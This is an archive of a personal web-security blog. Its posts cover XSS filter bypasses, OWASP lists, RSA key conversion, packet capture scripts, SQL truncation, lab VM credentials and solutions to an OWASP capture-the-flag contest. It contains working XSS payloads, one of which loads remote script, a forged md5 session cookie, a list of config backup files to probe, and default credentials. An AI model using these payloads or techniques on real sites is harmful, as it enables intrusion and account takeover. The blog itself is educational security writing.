Wednesday, March 13, 2013

A couple of XXS tricks from a good post

This post http://blog.nibblesec.org/2013/03/subverting-cloud-based-infrastructure.html shares a couple of good XXS tricks:

  • Choosing Google Chrome as target browser required to bypass XSS Auditor, the integrated Anti-XSS filter. As discovered by Mario Heiderich, the data URI schema with base64 content can be leverage to bypass the filter. 
<html> <body> <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe> </body> </html>
  • A Chrome extension can override default SOP restrictions and issue cross-domain requests reading the HTTP response, accessing other browser tabs, and also reading every cookie including those marked as HttpOnly.
  • JS injection:
<img/src='a'onerror='document.write("<scr","ipt/type=\"text/JavaScript\"/src=\"","http://www.example.com/onetime.js","\"></script>")'>

Tuesday, March 5, 2013

Documenation

Just wasted an hour trying to figure out why I can not get open stack console to work. It turned out that the documentation has a bug. 

I found this post 
https://bugs.launchpad.net/openstack-manuals/+bug/979054

After the bug was reported a year ago, the mistake is still in their documentation: 
http://docs.openstack.org/essex/openstack-compute/admin/content/accessing-vnc-consoles-with-a-java-client.html

Documentation  is important! Accurate documentation is more important!!

OWASP Top 10 2013 Release candidate


OWASP Top 10 - 2013 Release Candidate includes some changes to the current 2010 edition:
  • A1 Injection
  • A2 Broken Authentication and Session Management (was formerly A3)
  • A3 Cross-Site Scripting (XSS) (was formerly A2)
  • A4 Insecure Direct Object References
  • A5 Security Misconfiguration (was formerly A6)
  • A6 Sensitive Data Exposure (merged from former A7 Insecure Cryptographic Storage and former A9 Insufficient Transport Layer Protection)
  • A7 Missing Function Level Access Control (renamed/broadened from former A8 Failure to Restrict URL Access)
  • A8 Cross-Site Request Forgery (CSRF) (was formerly A5)
  • A9 Using Known Vulnerable Components (new but was part of former A6 Security Misconfiguration)
  • A10 Unvalidated Redirects and Forwards

Wednesday, February 6, 2013

Some interview questions

After some interviews, it is really helpful to have some "good" interview questions ready. Here are some sample questions:

From http://blog.mostof.it/being-a-better-developer/

  • What is your favorite programming language and which ones do you hate? Why?
  • If you could add any feature to the programming language you use the most, what would it be?
  • Show me a cool project you’ve worked on. How did you do it?
  • Tell a story about something you did that ended in a catastrophe.
  • You have a day off. Do you get annoyed when a colleague calls you to ask a quick question about a piece of code you’ve written recently?
  • You are required to work with a huge chunk of code and you have no idea how it works and there’s no documentation and no tests. What do you do?
  • What’s your favorite game in the Zelda series? Which other games do you like? Have you once wished you had developed minecraft?
  • Which sites do you love? 
  • Which books would you recommend as a must-read?
  • Last but not least, tell me something about the following principles: DRY, SOLID, YAGNI, optimistic vs. pessimistic locking, MVC vs. MVVM, (list can go on…)

You also need to check his another post, "On the road to being a better developer". http://blog.mostof.it/being-a-better-developer/

  • Write a method which will remove any given character from a String?
  • In an array 1-100 numbers are stored, one number is missing how do you find it?
  • In an array 1-100 exactly one number is duplicate how do you find it?
  • In an array 1-100 many numbers are duplicates, how do you find it?
  • How do you find second highest number in an integer array?
  • How do you find middle element of a linked list in single pass?
  • How do you find if there is any loop in singly linked list? How do you find the start of the loop?
  • How do you find depth of binary tree?
  • Print out all leaf node of a binary tree?
  • Write a program to sort numbers using quick sort?
  • Write a program to implement binary search algorithm
  • Write a program to find all prime number up to a given numbers?
  • Write code to check whether a no is power of two or not?
  • Write a program to find out if two rectangles R1 and R2 are overlapping?
  • You need to write a function to climb n steps you can climb either 1 step at a time or 2 steps a time, write a function to return number of ways to climb a ladder with n step.
  • Write code for Generate Random No in a range from min to max?
  • Write program for word-wrap which should work on any screen size?
  • Design an algorithm to find the frequency of occurrence of a word in an article?
  • Write a program to implement blocking queue in Java?
  • Write a program for producer-consumer problem?

  • Get them to talk about what they're interested in. 

  •  Coding. The candidate has to write some simple code, with correct syntax, in C, C++, or Java.
  •  OO design. The candidate has to define basic OO concepts, and come up with classes to model a simple problem.
  •  Scripting and regexes. The candidate has to describe how to find the phone numbers in 50,000 HTML pages. 
  • Data structures. The candidate has to demonstrate basic knowledge of the most common data structures.
  • Bits and bytes. The candidate has to answer simple questions about bits, bytes, and binary numbers. 
  • Write a function to reverse a string.
  • Write function to compute Nth fibonacci number
  • Print out the grade-school multiplication table up to 12x12
  • Write a function that sums up integers from a text file, one int per line.
  • Write function to print the odd numbers from 1 to 99.
  • Find the largest int value in an int array.
  • Format an RGB value (three 1-byte numbers) as a 6-digit hexadecimal string.
  • Design a deck of cards that can be used for different card game applications.
  • Model the Animal kingdom as a class system, for use in a Virtual Zoo program.
  • Create a class design to represent a filesystem.
  • Design an OO representation to model HTML.
  • Design a parking garage.
  • Design a bank of elevators in a skyscraper.
  • Model the monorail system at Disney World.
  • Design a restaurant-reservation system.
  • Design a hotel room-reservation system.
  • Last year my team had to remove all the phone numbers from 50,000 Amazon web page templates, since many of the numbers were no longer in service, and we also wanted to route all customer contacts through a single page.Let's say you're on my team, and we have to identify the pages having probable U.S. phone numbers in them. To simplify the problem slightly, assume we have 50,000 HTML files in a Unix directory tree, under a directory called "/website". We have 2 days to get a list of file paths to the editorial staff. You need to give me a list of the .html files in this directory tree that appear to contain phone numbers in the following two formats: (xxx) xxx-xxxx and xxx-xxx-xxxx.How would you solve this problem? Keep in mind our team is on a short (2-day) timeline.
  • Let's say you're on my team, and I've decided I'm a real stickler for code formatting. But I've got peculiar tastes, and one day I decide I want to have all parentheses stand out very clearly in your code.
  • So let's say you've got a set of source files in C, C++, or Java. Your choice. And I want you to modify them so that in each source file, every open- and close-paren has exactly one space character before and after it. If there is any other whitespace around the paren, it's collapsed into a single space character.For instance, this code:foo (bar ( new Point(x, graph.getY()) ));Would be modified to look like this:foo ( bar ( new Point ( x, graph.getY ( ) ) ) ) ;I tell you (as your manager) that I don't care how you solve this problem. You can take the code down to Kinko's Copies and manually cut and paste the characters with scissors if you like. How will you solve this problem?
  • What are some really common data structures, e.g. in java.util?
  • When would you use a linked list vs. a vector?
  • Can you implement a Map with a tree? What about with a list?
  • How do you print out the nodes of a tree in level-order (i.e. first level, then 2nd level, then 3rd level, etc.)
  • What's the worst-case insertion performance of a hashtable? Of a binary tree?
  • What are some options for implementing a priority queue?
  • Tell me how to test whether the high-order bit is set in a byte
  • Write a function to count all the bits in an int value; e.g. the function with the signature int countBits(int x)
  • Describe a function that takes an int value, and returns true if the bit pattern of that int value is the same if you reverse it (i.e. it's a palindrome); i.e. boolean isPalindrome(int x)
http://www.joelonsoftware.com/articles/GuerrillaInterviewing3.html


  • Write a function that determines if a string starts with an upper-case letter A-Z
  • Write a function that determines the area of a circle given the radius
  • Add up all the values in an array
  • Even though the format of the interview is, superficially, just a candidate writing some code on the whiteboard, my real goal here is to have a conversation about it. “Why did you do it that way?” “What are the performance characteristics of your algorithm?” “What did you forget?” “Where’s your bug?”
  •     How might you design a program that lets people play Monopoly with each other over the internet?
  • What would be a good data structure for a photo editor?
  • How would you implement code to operate the elevators in a high rise?
  • How would you implement the rendering engine of a web browser?






Tuesday, February 5, 2013

Updates for 02/05/2012


wp-config.php        # WordPress
config.php           # phpBB, ExpressionEngine
configuration.php    # Joomla
LocalSettings.php    # MediaWiki
mt-config.cgi        # Movable Type
settings.php         # Drupal

For example:
wp-config.php~        # Vim, Gedit
#wp-config.php#       # Emacs
wp-config.php.save    # Nano
wp-config.php.swp     # Vim (swap file)
wp-config.php.swo     # Vim (swap file)

Monday, February 4, 2013

Stop browser tracking guide

There is a good "Stop browser tracking guide" from duckduckgo.com http://fixtracking.com/

At the same time, please try https://duckduckgo.com/ if you are sick of those advertisements like me. Feel free to share them with  your friends.

Exploiting 64 bit Linux like boss

Exploiting 64 bit Linux like boss:

http://scarybeastsecurity.blogspot.com/2013/02/exploiting-64-bit-linux-like-boss.html

Exploring grand canyon on google map

Exploring grand canyon on google map:

http://googleblog.blogspot.nl/2013/01/exploring-grand-canyon-on-google-maps.html

Interactive submarine cable map for the world

Very impressive interactive submarine cable map for the world: http://submarine-cable-map-2013.telegeography.com/

Friday, October 19, 2012

How to check your browser for security?

With so many moving plugins, how can you check the security level of your browser? Here are some help:


It is always a good practice have no-script installed. 

Friday, August 3, 2012

Use GET to POST form to some ASP.NET application

Normally, HTML form submissions support two methods "GET" and "POST". For "GET" request, form element values are submitted  within the query string. For example, http://www.example.com?paramter1=test1&p2=test2. The advantage of "POST" method is that form element values do not appear in the query string so they will not show in proxy logs, web server logs, etc.

During one security assessment of an ASP.NET application, I find that it is possible to use "GET" requests to POST form data to the ASP.NET application. The application processes those form elements the same way as it is processing "POST" request. The web server logs those requests as "GET" requests instead of "POST" requests. This makes it convenient for the attackers to hide their attacks.

Here is a sample application:

protected void Page_Load(object sender, EventArgs e)
    {
        StringBuilder sb = new StringBuilder();
        var forms = HttpContext.Current.Request.Form;
        foreach (String s in forms.AllKeys)
        {
            sb.Append(string.Format("{0} => {1}", s, forms[s]));
            sb.Append("
");

        }
        lblStatus.Text = sb.ToString();
    }

The application is using HttpContext.Current.Request.Form to retrieve form element value. According to the documentation of MSDN (http://msdn.microsoft.com/en-us/library/system.web.httprequest.form),

The Form property is populated when the HTTP request Content-Type value is either "application/x-www-form-urlencoded" or "multipart/form-data".




As long as Content-Type value is either "application/x-www-form-urlencoded" or "multipart/form-data", the Form property is populated no matter whatever method the request is sent. 




 Here is one GET request with Content-Type and Content-Length headers: 



The page looks like:


A check at IIS server shows the following entries:

14:46:04 127.0.0.1 GET /website3/default4.aspx 200
14:46:12 127.0.0.1 GET /website3/default4.aspx 200
14:46:12 127.0.0.1 GET /website3/default4.aspx 200
14:46:12 127.0.0.1 GET /website3/default4.aspx 200
14:46:14 127.0.0.1 GET /website3/default4.aspx 200
14:46:14 127.0.0.1 GET /website3/default4.aspx 200
14:46:14 127.0.0.1 GET /website3/default4.aspx 200


Next time, when you check your web server logs, do not ignore those simple "GET" requests because they might contain evil payloads to your applications. 

{If the web server does not restrict HTTP verbs, you can use arbitrary verbs like PUT or XYZ to POST data to the application)

Wednesday, May 16, 2012

Same Origin Policy for Document Object Model


The Same Origin Policy was introduced by Netscape in 1995. It has been implemented by all modern web browsers. Its principle is “Pages from the same site can access each other’s DOM without restriction. But the pages from one site cannot access DOM of pages from other different sites. “The Same Origin Policy provides strict content segregation for different websites to preserve confidentiality and integrity.

The origin is defined by three parts:

  • Domain name  (for example, www.example.com)
  • Application protocol (for example, http or https)
  •  Port number (for example, 80 or 8080)

Two origins are considered same if the values of three parts are exactly same. However, Internet Explorer does not include port number into same origin components.

There are two popular ways to get around “Same Origin Policy”
  • Changing document.domain

Two sites sharing a common top-level domain can mutually set their document.domain to the common top-level domain. For example, login.example.com and register.example.com can bypass the restriction by setting their document.domain=example.com. The security concern is that unwanted domains like evil.example.com can join the party by setting their document.domain=example.com.
  •  Use postMessage of HTML5

HTML5 provide a new method postMessage for passing data between documents in different domains. All modern web browsers support this new function, which provide a secure way for bypassing Same Origin Policy.

For example,
var framewindow=window.parent.frames["orgFrame"];
framewindow.postMessage(‘this is a test message’), ‘http://www.example.com’);
function receiveMessage(event)
{
            if (event.origin !== "http://example.org") // Make sure to accept messages from trusted domain
                        return;
            //process the received message
}
window.addEventListener("message", receiveMessage, false); // add message handler

Tuesday, May 15, 2012

Different formats for RSA keys


RSA keys can be saved into different formats: PEM, DER, Microsoft PUBLICKEYBLOB and Microsoft PRIVATEKEYBLOB. It might be challenging to convert the keys from one format to another.


The keys contain those big numbers used for encryption.
·         Private key contains: modulus, private exponent, public exponent, prime 1, prime 2, exponent 1, exponent 2 and coefficient.
·         Public key contains only modulus and public exponent.

  • DER format is based on Abstract Syntax Notation One (ASN.1). You can use ASN.1 Editor to view its structure and contents.
  • PEM format from OpenSSL is based64 encoded format of DER format
  • PRIVATEKEYBLOB and PUBLICKEYBLOB are C-style structure defined by Microsoft.

OpenSSL is a nice tool to convert the keys from one format to another. Here are some examples:

#convert private key from PEM to DER
openssl.exe rsa -inform PEM -in test.pem -outform DER -out test.der
#convert private key from DER to PEM
openssl.exe rsa -inform DER -in test.DER -outform PEM -out test1.pem
#convert public key from PEM to DER
openssl.exe rsa -inform  PEM -pubin  -in testPub.pem -outform DER -out testPub.der
#convert public key from DER to PEM
openssl.exe rsa -inform  DER -pubin  -in testPub.der -outform PEM -out testPub.pem
#convert public key from PEM to PUBLICKEYBLOB
openssl.exe rsa -inform  "PEM" -pubin  -in testPub.pem -outform "MS\ PUBLICKEYBLOB" -out testPub.pblob
#convert private key from PEM to PRIVATEKEYBLOB
openssl.exe rsa -inform  "PEM"   -in test.pem -outform "MS\ PRIVATEKEYBLOB" -out test.pblob

Here is a python script to convert keys from PEM to DER format:
import base64
fileName="c:\\temp\\testPub.pem"
fileContent=""
with open(fileName, 'r') as f:
    fileContent=f.readlines()
fileContent.pop()
fileContent.pop(0)
s=''.join(fileContent)
s=s.replace('\n','')
data =base64.b64decode(s)
print data.encode('hex')

Thursday, May 10, 2012

Use pcapy and impacket to interact with libpcap in Python

I need to read and analyze some TCP packets in Windows Python 2.7. After some google search, I decided to give pcapy and impacket a shot because they are easier to use as shown in http://snipplr.com/view/3579/.

The first step is to install them on my Windows box. I tried easy_install and it stopped due to an error of "not being able to find pcap.h". To fix the problem, I downloaded the latest winpacp developer's pack from http://www.winpcap.org/devel.htm. After unzipping the content to the same directory that cl.exe looks for, everything went well. There is no problem with installing impacket using easy_install.

The second step is to write a simple script to read some TCP packets from one network interface. Here is my readLivePacket.py:

from pcapy import findalldevs,open_live
from impacket import ImpactDecoder, ImpactPacket


devices = findalldevs();
pc = open_live(devices[1], 2048, False, 1000)
pc.setfilter('tcp')

  
def processPacket(hdr, data):
    decoder = ImpactDecoder.EthDecoder()
    packet=decoder.decode(data)
    ippacket=packet.child()
    tcppacket=packet.child()
    print tcppacket
  
packet_limit = -1
pc.loop(packet_limit, processPacket)

Once the script starts, it captured and printed out all TCP packets as shown here.

I also want my script to read and analyze packets from pcap file.  Here is my readPacketFile.py:


from pcapy import findalldevs,open_offline
from impacket import ImpactDecoder, ImpactPacket


fileName="c:\\temp\\rsa\\test.pcap"


pc = open_offline(fileName)
pc.setfilter('tcp')


  
def processPacket(hdr, data):
    decoder = ImpactDecoder.EthDecoder()
    packet=decoder.decode(data)
    ippacket=packet.child()
    tcppacket=packet.child()
    
    print tcppacket
  
packet_limit = -1
pc.loop(packet_limit, processPacket)


pcapy and impacket make the job of analyzing network traffic easy for Python.

Tuesday, May 8, 2012

OWASP 2012 Online Competition

OWASP 2012 Online Competition starts from 05/01/2012. The details can be found at https://www.hacking-lab.com/user/cases/cases.html?event=284

I spent 8 hours on 05/02/2012 and solved all challenges. Here are my solutions to the challenges:

  1. 8018 OWASP Hackademic Challenge 1. There is an unusual element on the source code of the page:   YXBwc2VjX3VzYTp0aGlzZWFz  this is base64 encoding of appsec_usa:thiseas. That's the user name and password for the portal. 
  2. 8019 OWASP Hackademic Challenge 2. The goal is to find the password to the website. However, the website hides its password within JavaScript as shown below. I just used FireBug and found the password:   "take a break"

  3. function GetPassInfo(){
    var madhouuuuuuuseeee = "givesacountinatobp laryk"

    var j = madhouuuuuuuseeee.charAt(1); var h = madhouuuuuuuseeee.charAt(0); var l = madhouuuuuuuseeee.charAt(17);
    var g = madhouuuuuuuseeee.charAt(2); var i = madhouuuuuuuseeee.charAt(6); var x = madhouuuuuuuseeee.charAt(18);
    var l = madhouuuuuuuseeee.charAt(3); var p = madhouuuuuuuseeee.charAt(2); var m = madhouuuuuuuseeee.charAt(20);
    var s = madhouuuuuuuseeee.charAt(17); var k = madhouuuuuuuseeee.charAt(10); var d = madhouuuuuuuseeee.charAt(3);
    var bb = madhouuuuuuuseeee.charAt(6); var d = madhouuuuuuuseeee.charAt(13); var r = madhouuuuuuuseeee.charAt(8);
    var a = madhouuuuuuuseeee.charAt(0); var d = madhouuuuuuuseeee.charAt(3); var r = madhouuuuuuuseeee.charAt(16);
    var b = madhouuuuuuuseeee.charAt(1); var e = madhouuuuuuuseeee.charAt(4); var j = madhouuuuuuuseeee.charAt(9);
    var c = madhouuuuuuuseeee.charAt(2); var f = madhouuuuuuuseeee.charAt(5); var g = madhouuuuuuuseeee.charAt(4);
    var j = madhouuuuuuuseeee.charAt(9); var h = madhouuuuuuuseeee.charAt(6); var l = madhouuuuuuuseeee.charAt(11);
    var g = madhouuuuuuuseeee.charAt(4); var i = madhouuuuuuuseeee.charAt(7); var x = madhouuuuuuuseeee.charAt(21);
    var l = madhouuuuuuuseeee.charAt(11); var p = madhouuuuuuuseeee.charAt(4); var m = madhouuuuuuuseeee.charAt(4);
    var s = madhouuuuuuuseeee.charAt(17); var k = madhouuuuuuuseeee.charAt(10); var d = madhouuuuuuuseeee.charAt(3);
    var t = madhouuuuuuuseeee.charAt(18); var n = madhouuuuuuuseeee.charAt(12); var e = madhouuuuuuuseeee.charAt(4);
    var a = madhouuuuuuuseeee.charAt(0); var o = madhouuuuuuuseeee.charAt(13); var f = madhouuuuuuuseeee.charAt(5);
    var b = madhouuuuuuuseeee.charAt(1); var q = madhouuuuuuuseeee.charAt(15); var h = madhouuuuuuuseeee.charAt(6);
    var c = madhouuuuuuuseeee.charAt(2); var h = madhouuuuuuuseeee.charAt(6); var i = madhouuuuuuuseeee.charAt(7);
    var j = madhouuuuuuuseeee.charAt(9); var i = madhouuuuuuuseeee.charAt(7); var y = madhouuuuuuuseeee.charAt(22);
    var g = madhouuuuuuuseeee.charAt(4); var p = madhouuuuuuuseeee.charAt(4); var yy = madhouuuuuuuseeee.charAt(23);
    var l = madhouuuuuuuseeee.charAt(11); var k = madhouuuuuuuseeee.charAt(10); var bb = madhouuuuuuuseeee.charAt(14);
    var q = madhouuuuuuuseeee.charAt(20); var n = madhouuuuuuuseeee.charAt(12);
    var m = madhouuuuuuuseeee.charAt(4); var o = madhouuuuuuuseeee.charAt(13);
    var p = madhouuuuuuuseeee.charAt(4)
    var Wrong = (bb+""+q+""+yy+""+d+""+t+""+f+""+t+""+r+""+x+""+d+""+f+""+yy)

    if (document.forms[0].Password1.value == Wrong)
    location.href="index.php?Result=" + Wrong;
    }

  4. 8020 OWASP Hackademic Challenge 3. The goal is to test XSS issue and generate a alert box with the message of "XSS!". Unfortunately, it seems that the challenge is only a string matching XSS problem. The matching string is  <script> alert('XSS!'); </script>  
  5. 8021 OWASP Hackademic Challenge 4. This challenge is just a variation of challenge 3 with same goal. The matching string is:  <script> alert(String.fromCharCode(88,83,83,33)); </script> 
  6. 8022 OWASP Hackademic Challenge 5. The goal is to access the hidden content with their special web browser. The answer is to change user agent of web browser:  User-Agent: p0wnBrowser version 2.30
  7. 8023 OWASP Hackademic Challenge 6. The goal is to find the password to access the website. The password is hidden into JavaScript again. The JavaScript can be obtained by using Firebug and JavaScriptShell. The password is:  h@ckers!
  8. 8024 OWASP Hackademic Challenge 7. The goal is to gain admin access to the website. After spidering the website, I find an interesting file http://hackademics.hacking-lab.com/ch007/index_files/lastlogin.log. Here is its content:
  9. 30 31 30 30 31 31 30 30 20 30 31 31 30 30 30 30 31 20 30 31 31 31 30 30 31 31 20 30 31 31 31 30 31 30 30 20 30 30 31 30 30 30 30 30 20 30 31 30 30 31 31 30 30 20 30 31 31 30 31 31 31 31 20 30 31 31 30 30 31 31 31 20 30 31 31 30 31 30 30 31 20 30 31 31 30 31 31 31 30 20 30 30 31 30 30 30 30 30 20 30 31 31 30 30 30 31 30 20 30 31 31 31 31 30 30 31 20 30 30 31 31 31 30 31 30 20 30 30 31 30 30 30 30 30 20 30 31 30 30 30 30 30 31 20 30 31 31 30 31 31 30 30 20 30 31 31 30 31 30 30 31 20 30 31 31 30 30 30 31 31 20 30 31 31 30 30 31 30 31 20 30 30 31 30 30 30 30 30 20 30 31 30 31 30 30 30 30 20 30 31 31 31 30 30 31 30 20 30 31 31 30 30 31 30 31 20 30 31 31 31 30 31 30 30 20 30 31 31 31 30 31 30 30 20 30 31 31 31 31 30 30 31 20 30 30 31 30 31 31 30 30 20 30 30 31 30 30 30 30 30 20 30 31 31 31 30 31 30 31 20 30 31 31 31 30 30 31 31 20 30 31 31 30 30 31 30 31 20 30 31 31 31 30 30 31 30 20 30 31 31 30 31 31 31 30 20 30 31 31 30 30 30 30 31 20 30 31 31 30 31 31 30 31 20 30 31 31 30 30 31 30 31 20 30 30 31 31 31 30 31 30 20 30 30 31 30 30 30 30 30 20 30 31 30 30 30 30 30 31 20 30 31 31 30 31 31 30 30 20 30 31 31 30 31 30 30 31 20 30 31 31 30 30 30 31 31 20 30 31 31 30 30 31 30 31 20 30 30 31 30 30 30 30 30 20 30 31 31 30 30 30 30 31 20 30 31 31 31 30 31 30 30 20 30 30 31 30 30 30 30 30 20 30 30 31 31 30 30 30 31 20 30 30 31 31 30 31 30 30 20 30 30 31 30 31 31 31 31 20 30 30 31 31 30 30 31 31 20 30 30 31 30 31 31 31 31 20 30 30 31 31 30 30 31 30 20 30 30 31 31 30 30 30 30 20 30 30 31 31 30 30 30 31 20 30 30 31 31 30 30 30 31 20 30 30 31 30 30 30 30 30 20 30 30 31 31 30 30 30 31 20 30 30 31 31 30 30 30 30 20 30 30 31 31 31 30 31 30 20 30 30 31 31 30 31 30 31 20 30 30 31 31 31 30 30 31 20 30 30 31 31 31 30 31 30 20 30 30 31 31 30 30 30 30 20 30 30 31 31 30 30 30 30 20 30 31 31 30 30 30 30 31 20 30 31 31 30 31 31 30 
       It looks like ASCII code in binary format after changing 30 to 0 and 31 to 1 and 20 to separator. A simple Python script decodes its content as: 
    Last Login by: Alice Pretty, username: Alice at 14/3/2011 10:59:00am
    
    
    
            Now, we have an user name "Alice" which can be used to access the website. I noticed that the session id remained same for different sessions of Alice. The session id is 64489c85dc2fe0787b85cd87214b3810.0 The first part looks like md5. 64489c85dc2fe0787b85cd87214b3810=md5(Alice). OK, I just need to generate a new session token for admin. After several attempts, the system accepts this cookie:  e3afed0047b08059d0fada10f400c1e5.1
    where md5(Admin) = e3afed0047b08059d0fada10f400c1e5
  10. 8025 OWASP Hackademic Challenge 8. The goal is to access the website as admin. The backdoor shell only support these commands: ls,whoami,id,help,su. If su is typed, the shell asks for user name and password. I also noticed that there is an interesting image file found by using "ls" command: http://hackademics.hacking-lab.com/ch008/4admin0Nly.jpg. It is not a normal JPG image file. Its content is:
    2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 55 73 65 72 6e 61 6d 65 3a 20 73 75 70 65 72 61 64 6d 69 6e 20 50 61 73 73 77 6f 72 64 3a 20 30 77 40 73 70 55 53 41 79 30 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d

    The ascii values of its contents contains:  Username: superadmin Password: 0w@spUSAy0 
  11. 8026 OWASP Hackademic Challenge 9. The goal is to gain admin access to the website.
    1) Change the user agent of the browser to use
    2) The shell is accessible from http://hackademics.hacking-lab.com/ch009/y0_man_y0.php
    3) Use "ls" command and find some interesting pages: adminpanel.php, y0_man_y0.php, log.history.php
    4) In the source code of http://hackademics.hacking-lab.com/ch009/log.history.php, there is some interesting comments:
    slrig_$$ap_$GN0RTS_4_s1_s1Ht :drowssap nimda :emanresu

    Decode the comment and reverse the order, I get the following message:
    'username: admin password: tH1s_1s_4_STR0NG$_pa$$_girls'
    5) Use the above user name and password to log in the admin panel page.









  12. 8027 OWASP Hackademic Challenge 10. The goal is to gain access to the website.
    1) There is a hidden field called LetMeIn=False. I changed it LetMeIn=True and accessed the website.
    2) The alert function looks like
    alert("01010011 01100101 01110010 01101001 01100001 01101100 00100000 01001110 01110101 01101101 01100010 01100101 01110010 00111010 00100000 01010100 01001000 01001001 01010011 00101101 01001001 01010011 01001111 01000100 01000100 00101101 01000011 01000001 01010101 01010011 01000101 00101101 01001001 01000001 01001101 01000001 00101101 01010011 01010101 01010000 01000001 00101101 01001000 01000001 01000011 01001011 01000001 ")
    A simple python script can decode this as  THIS-ISODD-CAUSE-IAMA-SUPA-HACKA
    3) Enter this code and mission accomplished. 
  13. 7019 AES Bit-Flipping Attack. The goal is to regenerate a valid ticket based on an expired AES CBC encrypted ticket: B60086CD1E68CEF25BC1BEC429D8F3C01D45F0196331DA5012B99067A25463A493CCBF690FD88F850BD5273C5A7D72B6
    1) Burp is a perfect tool to automate this attack. Burp Intrude has bit flipper built-in.
    2) There are lots of valid tickets generated by Burp. One example is:
    60086CD1E68CEF25BC1BEC429D8F3C01D45F0196331DA5012B99063A25463A493CCBF690FD88F850BD5273C5A7D72B6

    And here is the result from server:
    Hello hacker10 (email: You've logged-in successfully
    Ticket valid until: 20141011
    Solution code: X678RWER_HAXXOR
     
  14. 2312 Blind SQL injection. The goal is to write a small program to read the email address of the customer  “Franziska Knobel”  through
    blind SQL injection.
    1) The email address is  hacker30@hack.er
    2) This python script was written in short time just for solve the problem as soon as possible:
  15. 2313 Time Based Blind SQL Injection. The goal is to write a small program to read the phone number of"Sandra Fischer” using time based blind SQL Injection.
    1) The phone number is  07254455882
    2) This python script was written in short time just for solve the problem as soon as possible. 

Thursday, April 19, 2012

SQL injection by truncation

This is an old attack technique. More details can be found at

http://msdn.microsoft.com/en-us/magazine/cc163523.aspx

https://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Neerumalla.pdf

The question is “If I use quotename() or replace() or wrap all my SQL parameters, are my dynamic SQL statements still subject to SQL injection?

Even with quotename() or replace(), your dynamic SQL statements might be vulnerable to SQL injections due to truncations if you make these mistakes:

  1. The dynamics SQL is assigned to a variable whose buffer is not large enough. An attacker can force truncation by passing unexpectedly long strings to your stored procedure.
  2. The results returned by quotename() or replace() are saved into local variables whose buffer are not large enough. Those returned strings are truncated. An attacker can manipulate it to his advantages.

Here is the example showing truncation problems:

CREATE PROCEDURE sp_MySetPassword

@loginname varchar(128),

@old varchar(200),

@new varchar(128),

AS

DECLARE @login sysname

DECLARE @newpassword sysname

DECLARE @oldpassword sysname

-- the data stored in command might be truncated because its small size

DECLARE @command varchar(200)

-- the data stored in those temp variables might be truncated becuase

-- quotename() can return up to 258 characters and replace() can return up to 400 characters

SET @login = QUOTENAME(@loginname, '''')

SET @oldpassword = REPLACE(@old, '''', '''''')

SET @newpassword = QUOTENAME(@new, '''')

SET @command = 'UPDATE Users set password = ' + @newpassword

+ ' where username =' + @login + ' AND password = ' + @oldpassword;

EXEC (@command)


To avoid truncation issues, the best approach is to use parameterized queries in your stored procedures. If you must use quotename() or replace(), you can address those two issues: i) use a large buffer for the command variable or directly execute the dynamic T-SQL. ii) use large buffers for those temporary variables or call quotename() or replace() directly in dynamic SQL statement.

The above example can be fixed like this:


CREATE PROCEDURE sp_MySetPassword

@loginname varchar(128),

@old varchar(200),

@new varchar(128),

AS

DECLARE @command varchar(3000)

SET @command = 'UPDATE Users set password = ' + QUOTENAME(@new, '''')

+ ' where username =' + QUOTENAME(@loginname, '''') + ' AND password = ' + REPLACE(@old, '''', '''''');

EXEC (@command)

Tuesday, April 17, 2012

Search Engine Security for Google Chrome?

http://feedproxy.google.com/~r/zscaler/research/~3/4GiUgKrJpRE/search-engine-security-for-google.html

According to the vendor,
"Most hijacked websites used for Blackhat SEO check the Referer header and the User-Agent, to decide whether to redirect the visitor to a harmless spam page or to a malicious domain (Fake AV page, Blackhole exploit kit, etc.). By modifying these 2 headers when the user leaves a Google, Bing or Yahoo! search, Search Engine Security fools the hijacked site into thinking that the visitor is not a real user and therefore avoids redirection to the malicious content."

Are you serious? We all know it is trivial for the hijacked site to change their codes not to check those two headers. It is not really smart to try to fool bad guys and give good users a false sense of security.

Business logic Abuse for Nordstrom

http://silvertailsystems.wordpress.com/2012/04/17/business-logic-abuse-makes-headlines-nordstrom-defrauded-of-1-4m/

A very interesting story. Two brothers figured out a ways to abuse Nordstrom website by leveraging fatwallet. Their orders were rejected by Nordstrom and no transactions went through. However, Nordstrom still credit fatwallet for the transactions and pay them cash back for those fake purchases.

My feeling is that the cashback application of Nordstrom only check for transactions placed into the system assuming that those transactions are good transactions. However, some transactions turned out to "not-so-good" later and might be blocked by the company. The assumption is broken here.

Wednesday, March 14, 2012

Set up your environment for security testing

If you do not have any old Windows XP CD, you can try to download the Federal Desktop Core configuration (FDCC) image from NIST.

For Windows XP, here are the download links:

http://nvd.nist.gov/download/FDCC-Q4-2009/FDCC_IMAGES/XP-Q4-2009/XP_NIST_FDCC_Q4_2009.zip

http://nvd.nist.gov/download/FDCC-Q4-2009/FDCC_IMAGES/XP-Q4-2009/XP_NIST_FDCC_Q4_2009.z01

http://nvd.nist.gov/download/FDCC-Q4-2009/FDCC_IMAGES/XP-Q4-2009/XP_NIST_FDCC_Q4_2009.z02

http://nvd.nist.gov/download/FDCC-Q4-2009/FDCC_IMAGES/XP-Q4-2009/XP_NIST_FDCC_Q4_2009.z03

The username / password scheme for the Image is:

Renamed_Admin / P@ssw0rd123456

http://www.offensive-security.com/metasploit-unleashed/Metasploitable

Metasploitable is a VMware based virtual machine running Ubuntu 8.04 server. A number of vulnerable services have been included, some of which are an install of tomcat 5.5 (with weak credentials), distcc, tikiwiki, twiki, and an older version of mysql server.

http://think-security.com/metasploitable-your-first-training-ground/

Here are some of the credentials that you can use to access it:

msfadmin:msfadmin

user:user

service:service

postgres:postgres

klog:123456789